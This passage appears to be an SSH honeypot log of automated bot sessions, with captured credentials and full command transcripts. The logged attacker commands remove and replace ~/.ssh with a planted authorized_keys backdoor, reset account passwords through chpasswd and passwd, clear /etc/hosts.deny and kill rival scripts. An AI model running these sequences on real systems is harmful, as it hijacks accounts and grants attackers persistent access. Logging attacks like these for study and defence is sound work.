Processor"},{"seq":9,"at":"2026-08-26T18:19:27.540380+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:19:28.802442+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:19:29.338448+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:19:30.187188+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:19:30.713571+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:19:31.019294+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:19:31.542844+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:19:31.895861+00:00","kind":"output","latency_ms":null,"data":" 18:19:31 up 6 days, 15:09, 0 user, load average: 0.07, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:19:32.425275+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:19:32.716198+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:19:33.239354+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:19:33.910002+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:19:34.446787+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:19:35.127627+00:00","kind":"output","latency_ms":null,"data":"top - 18:19:35 up 6 days, 15:09, 0 user, load average: 0.07, 0.08, 0.08\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:19:35.652777+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:19:36.412596+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:19:36.961496+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:19:37.426577+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:19:37.948130+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:19:38.749338+00:00","kind":"output","latency_ms":null,"data":"frontend"},{"seq":29,"at":"2026-08-26T18:19:39.269796+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:19:40.469824+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:19:41.006176+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:19:41.937553+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"frontend","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"33d09e0a-72d7-4661-aaad-ca12bd5e1b36","name":"gnarled-slender-sandpiper","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":55992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":536,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:16:36.587288+00:00","ended_at":"2026-08-26T18:16:38.154660+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T18:16:14.839267+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:16:15.374106+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:16:19.532110+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:16:20.335624+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:16:20.877444+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4WhX1sN8WRtS\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:16:21.405435+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:16:21.924408+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:16:22.419217+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:16:22.944461+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:16:23.844807+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:16:24.372177+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:16:25.697362+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:16:26.224991+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:16:26.869314+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:16:27.394030+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:16:27.674883+00:00","kind":"output","latency_ms":null,"data":" 18:16:27 up 6 days, 15:06, 0 user, load average: 0.05, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:16:28.211839+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:16:28.611211+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:16:29.158234+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:16:29.844746+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:16:30.381757+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:16:31.137552+00:00","kind":"output","latency_ms":null,"data":"top - 18:16:31 up 6 days, 15:06, 0 user, load average: 0.05, 0.05, 0.06\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:16:31.679504+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:16:31.957307+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:16:32.493785+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:16:32.775784+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:16:33.308881+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:16:33.963759+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:16:34.501770+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:16:36.031148+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:16:36.589524+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:16:37.984846+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123999","method":"password","accepted":true,"tier":"other"}]} {"id":"2c017946-ac04-4700-8400-03e439d05a6d","name":"bold-humble-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":50998,"username":"support","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":540,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:13:39.636117+00:00","ended_at":"2026-08-26T18:13:40.822236+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2292,"events":[{"seq":1,"at":"2026-08-26T18:13:14.449040+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:13:14.992594+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:13:20.556637+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:13:21.069789+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:13:21.619044+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Itsemoemo2025@Washere2025\\nYeDdoOVV7nTT\\nYeDdoOVV7nTT\"|passwd|bash"},{"seq":6,"at":"2026-08-26T18:13:22.172297+00:00","kind":"input","latency_ms":null,"data":"echo \"Itsemoemo2025@Washere2025\\nYeDdoOVV7nTT\\nYeDdoOVV7nTT\\n\"|passwd"},{"seq":7,"at":"2026-08-26T18:13:22.723942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:13:23.366667+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:13:23.915075+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:13:25.237023+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:13:25.778190+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:13:27.138158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:13:27.676717+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:13:28.264636+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:13:28.808607+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:13:29.400991+00:00","kind":"output","latency_ms":null,"data":" 18:13:29 up 6 days, 15:03, 0 user, load average: 0.19, 0.23, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:13:29.943834+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:13:30.771929+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:13:31.309656+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:13:32.092091+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:13:32.626497+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:13:33.388269+00:00","kind":"output","latency_ms":null,"data":"top - 18:13:33 up 6 days, 15:03, 0 user, load average: 0.19, 0.23, 0.19\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:13:33.926157+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:13:34.802141+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:13:35.342387+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:13:36.088601+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:13:36.632618+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:13:37.389954+00:00","kind":"output","latency_ms":null,"data":"support"},{"seq":29,"at":"2026-08-26T18:13:37.921024+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:13:39.096084+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:13:39.636797+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:13:40.657331+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"support","password":"Itsemoemo2025@Washere2025","method":"password","accepted":true,"tier":"other"}]} {"id":"be48beab-5d11-4398-b754-4d558975a7c3","name":"placid-northern-crane","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":37064,"username":"ian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":508,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:10:31.207276+00:00","ended_at":"2026-08-26T18:10:32.850047+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2242,"events":[{"seq":1,"at":"2026-08-26T18:10:09.519839+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:10:10.034401+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:10:14.804922+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:10:15.244061+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:10:15.767486+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ian\\n7EtJlmPml3tC\\n7EtJlmPml3tC\"|passwd|bash"},{"seq":6,"at":"2026-08-26T18:10:16.291585+00:00","kind":"input","latency_ms":null,"data":"echo \"ian\\n7EtJlmPml3tC\\n7EtJlmPml3tC\\n\"|passwd"},{"seq":7,"at":"2026-08-26T18:10:16.796299+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:10:17.334526+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:10:17.836945+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:10:18.655634+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:10:19.162048+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:10:20.239389+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:10:20.747586+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:10:21.640129+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:10:22.153144+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:10:22.883839+00:00","kind":"output","latency_ms":null,"data":" 18:10:22 up 6 days, 15:00, 0 user, load average: 0.12, 0.1, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:10:23.399362+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:10:23.666377+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:10:24.175377+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:10:24.817626+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:10:25.346292+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:10:25.921290+00:00","kind":"output","latency_ms":null,"data":"top - 18:10:25 up 6 days, 15:00, 0 user, load average: 0.12, 0.1, 0.11\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:10:26.427550+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:10:26.722201+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:10:27.234356+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:10:27.744835+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:10:28.251249+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:10:29.095127+00:00","kind":"output","latency_ms":null,"data":"ian"},{"seq":29,"at":"2026-08-26T18:10:29.599108+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:10:30.694782+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:10:31.208145+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:10:32.694395+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ian","password":"ian","method":"password","accepted":true,"tier":"other"}]} {"id":"88e82370-d6e4-49df-9fe7-07c4ee56db9c","name":"lively-painted-fennec","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":33744,"username":"andy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":525,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:07:35.477191+00:00","ended_at":"2026-08-26T18:07:36.937886+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-26T18:07:13.380684+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:07:13.904405+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:07:18.622244+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:07:19.292584+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:07:19.832508+00:00","kind":"input","latency_ms":null,"data":"echo -e \"andy123\\nNBs1juMLoZqr\\nNBs1juMLoZqr\"|passwd|bash"},{"seq":6,"at":"2026-08-26T18:07:20.377588+00:00","kind":"input","latency_ms":null,"data":"echo \"andy123\\nNBs1juMLoZqr\\nNBs1juMLoZqr\\n\"|passwd"},{"seq":7,"at":"2026-08-26T18:07:20.913736+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:07:21.709734+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:07:22.232171+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:07:23.154304+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:07:23.678733+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:07:24.500598+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:07:25.030714+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:07:25.549590+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:07:26.076290+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:07:26.944859+00:00","kind":"output","latency_ms":null,"data":" 18:07:26 up 6 days, 14:57, 0 user, load average: 0.35, 0.43, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:07:27.468167+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:07:28.114591+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:07:28.635227+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:07:29.012307+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:07:29.538327+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:07:29.871514+00:00","kind":"output","latency_ms":null,"data":"top - 18:07:29 up 6 days, 14:57, 0 user, load average: 0.35, 0.43, 0.31\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 